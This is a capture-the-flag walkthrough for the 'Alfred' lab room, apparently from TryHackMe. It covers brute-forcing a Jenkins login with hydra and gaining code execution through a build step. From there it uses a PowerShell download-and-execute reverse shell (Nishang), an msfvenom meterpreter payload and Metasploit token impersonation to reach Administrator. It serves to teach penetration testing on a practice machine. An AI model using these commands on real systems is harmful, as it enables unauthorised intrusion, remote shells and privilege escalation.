Contents

Alfred

Click here if you’re interested in the room!

This guide is meant to be used as a supplement for learning, please tackle this on your own before reading this!

  1. How many TCP ports are open?
  2. What is the username and password for the log in panel?
  3. Find a feature of the tool that allows you to execute commands on the underlying system.
  4. What is the user.txt flag?
  5. Switching shells
  6. Size of the payload
  7. Token Impersonation
  8. Output of guid command
  9. Migrating and finding root.txt

1) The first question asks for the number of TCP ports open, we can use a nmap scan for this.

nmap -vv -sC -sV -A -Pn -oN nmap.log {target_ip_here}

https://user-images.githubusercontent.com/60508293/121830197-5854e580-cc79-11eb-9b1e-222a48c6e248.png https://user-images.githubusercontent.com/60508293/121830228-699df200-cc79-11eb-8f13-f8aff52090b5.png

2) What is the username and password for the log in panel(in the format username:password)

Seems like port 8080 is open so lets navigate to that. https://user-images.githubusercontent.com/60508293/121830311-9d791780-cc79-11eb-95b5-bf9587c0fe16.png

Navigating to the target ip at port 8080 brings us to a login page for [Jenkins] https://user-images.githubusercontent.com/60508293/121830930-12991c80-cc7b-11eb-9c32-2b018d9f9b92.png

Viewing the page source doesn’t seem to give any hidden credentials, so we will need to be bruteforcing credentials.

I will be using hydra for this.

First, I’ll be using BurpSuite to intercept the login request. We can see that it is a http post request along with the required parameters circled in red. https://user-images.githubusercontent.com/60508293/121830863-e8dff580-cc7a-11eb-8320-d5beb1ded444.png

It seems like both the username and pass are 5 words long, I’ll be using hydra to bruteforce credentials. I will be making a copy of a username text file and a password textfile that are only five characters long from seclists. https://user-images.githubusercontent.com/60508293/121830634-44f64a00-cc7a-11eb-807e-1c346439cbe3.png https://user-images.githubusercontent.com/60508293/121830726-84249b00-cc7a-11eb-8bc7-21d880aae6a0.png

using hydra to bruteforce credentials

hydra -L five_c_user.txt -P five_c_pass.txt -s 8080 {target_ip} http-post-form "j/acegi_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password

Success we can now login with our new credentials!

https://user-images.githubusercontent.com/60508293/121831597-afa88500-cc7c-11eb-97ad-7ba6f746e81a.png

3) Find a feature of the tool that allows you to execute commands on the underlying system.

Peering around the website we go into the project -> configure -> build and we are presented with something that looks like a CLI. https://user-images.githubusercontent.com/60508293/121832123-2db95b80-cc7e-11eb-80dd-0ff3d7077b35.png

If we save and build the project again, we can see the whoami command is invoked in the latest build. https://user-images.githubusercontent.com/60508293/121832253-82f56d00-cc7e-11eb-89cd-3fc551689195.png

Seems like we can gain access to the machine using a reverse shell.

Let’s grab Nishang’s TCP reverse shell script

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Next, we’ll need to host a http.server so the server can download the powershell file. (default port 8000)

python3 -m http.server

We will also need to open a netcat listener for the reverse shell, I will be using a wrapper called rlwrap along with nc to do this.

rlwrap nc -lvnp 4444

Run the powerline command in the room. The first download port should be the http.server port (8000) and the other port should be the nc reverse shell listener port (4444 in my case) Then click build now.

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

4) What is the user.txt flag?

We should be connected to our reverse shell after invoking the build. https://user-images.githubusercontent.com/60508293/121841549-67489180-cc93-11eb-9f1a-9a1ebadea749.png

We’re looking for a user.txt file, so lets run the equivalent find command in powershell

Get-Childitem -Path C:\ -Include *user.txt* -Recurse -ErrorAction SilentlyContinue

Seems like we got a match!

https://user-images.githubusercontent.com/60508293/121840047-3155de00-cc90-11eb-89e5-f4fd6db2ed46.png

Success!

https://user-images.githubusercontent.com/60508293/121840081-52b6ca00-cc90-11eb-82ec-74b932f74956.png

https://user-images.githubusercontent.com/60508293/121840109-65c99a00-cc90-11eb-8656-d632f9843b92.png

5) Switching shells

Using nc for a reverse shell is usually unstable or very buggy so using Metasploit to gain a meterpreter shell will give us a more full-fleshed shell experience.

Use msfvenom to generate a payload for the windows reverse shell (Im naming it as hello.exe):

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o hello.exe

Host a python server on your local machine:

python3 -m http.server

Use the following command on our netcat reverse shell:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/hello.exe','hello.exe')"

Seems like the powershell command successfully downloaded our payload. https://user-images.githubusercontent.com/60508293/121995046-2ddb5900-cd5b-11eb-9e9b-4a2613e061b4.png

Now we have to setup our handler in Metasploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
run

https://user-images.githubusercontent.com/60508293/121995391-b3f79f80-cd5b-11eb-98c1-f2172090b0a5.png

Finally we are ready to execute the program. Enter this command in the powershell:

Start-Process "hello.exe"

Sucessfully connected.

https://user-images.githubusercontent.com/60508293/121996252-1b621f00-cd5d-11eb-81af-63f129f5a167.png

6) What is the size of the payload

https://user-images.githubusercontent.com/60508293/121997974-063abf80-cd60-11eb-952e-4e2c916f4946.png

7) Token Impersonation

Now that we’re in the meterpreter shell, lets switch to powershell before executing the following commands.

use powershell
powershell_shell
whoami /priv

We can use the incognito module to exploit these two privileges. https://user-images.githubusercontent.com/60508293/121997268-f4a4e800-cd5e-11eb-83c8-596a9a0afc72.png

Exit out of powershell and execute in the meterpreter shell:

https://user-images.githubusercontent.com/60508293/121997459-3e8dce00-cd5f-11eb-913e-8a3715c60f13.png

List all tokens then impersonate the Administrators token.

list_tokens -g

https://user-images.githubusercontent.com/60508293/121997745-acd29080-cd5f-11eb-8ec0-9cbb03ad132d.png

8) Output of guid

https://user-images.githubusercontent.com/60508293/121998113-3e420280-cd60-11eb-999e-97928a8edc7c.png

9) Migrating and finding root.txt

Use the command ps and find the PID of services.exe in red

https://user-images.githubusercontent.com/60508293/121998564-e3f57180-cd60-11eb-8f2e-b773b004afd3.png

Migrate to services.exe

https://user-images.githubusercontent.com/60508293/121998744-33d43880-cd61-11eb-9f7f-1623c4f6ba20.png

Find root.txt and the flag.

https://user-images.githubusercontent.com/60508293/121999513-4307b600-cd62-11eb-9ad9-c2934d856c7b.png

https://user-images.githubusercontent.com/60508293/121999684-75b1ae80-cd62-11eb-9fa4-6f0ec0771414.png

Congratulations, the room is now complete! Hopefully, this guide was helpful for anyone stuck in this room.